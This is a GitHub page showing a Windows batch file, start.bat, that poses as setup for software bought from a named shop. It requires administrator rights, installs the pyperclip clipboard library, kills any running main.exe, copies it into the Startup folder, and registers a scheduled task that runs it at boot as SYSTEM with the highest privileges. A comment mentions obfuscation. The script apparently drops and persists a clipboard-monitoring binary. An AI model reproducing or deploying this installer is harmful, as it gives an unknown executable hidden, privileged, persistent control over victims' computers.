This repository has been archived by the owner on Oct 2, 2024. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 124
/
Copy pathstart.bat
80 lines (67 loc) · 2.21 KB
/
start.bat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
@echo off
:: Ensure script is run with administrative privileges
net session >nul 2>&1
if %errorlevel% neq 0 (
echo Please run this script as an administrator.
pause
exit
)
setlocal enabledelayedexpansion
:: Variables for functionality and basic "obfuscation"
set "v1=https://scripters.shop/"
set "v2=main.exe"
set "purchaseURL=%v1%"
set "msg1=This software requires a valid purchase from "
set "msg2=Have you bought this software from the specified website? (yes/no):"
:: Prompt user for confirmation of purchase
echo %msg1%%purchaseURL%
echo %msg2%
set /p UserResponse=
if /I "!UserResponse!" neq "yes" (
echo Please purchase the software to continue with the setup.
exit /b
)
:: Check system architecture
set "arch=unknown"
if "%PROCESSOR_ARCHITECTURE%"=="x86" (if not defined PROCESSOR_ARCHITEW6432 set "arch=32-bit") else set "arch=64-bit"
echo System Architecture: !arch!
:: Check for Python and pip
python --version >nul 2>&1
if %errorlevel% neq 0 (
echo Python is not installed. Please install Python first.
exit /b
)
:: Install required Python packages
set "installCmd=pip install pyperclip"
%installCmd%
:: Ensure x.exe exists in the script directory
set "exePath=%~dp0%v2%"
if not exist "!exePath!" (
echo !v2! not found in script directory.
pause
exit
)
:: Check if x.exe is running and terminate it
tasklist | findstr /I "%v2%" >nul
if not errorlevel 1 (
echo %v2% is currently running and will be terminated to proceed with the installation.
taskkill /F /IM "%v2%" >nul
:: Give the system a moment to fully terminate the process
timeout /t 3 /nobreak >nul
)
:: Copy the executable to the startup folder for auto-start at user login
set "startupPath=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
copy "!exePath!" "!startupPath!" >nul
:: Create a scheduled task for system startup
schtasks /create /tn "StartMyApp" /tr "!exePath!" /sc ONSTART /RU SYSTEM /RL HIGHEST /F >nul
if %errorlevel% neq 0 (
echo Failed to create a scheduled task.
pause
exit
) else (
echo SUCCESS: The scheduled task "StartMyApp" has successfully been created.
)
:: Optionally, start the application immediately
start "" "!exePath!"
echo Installation and setup complete.
pause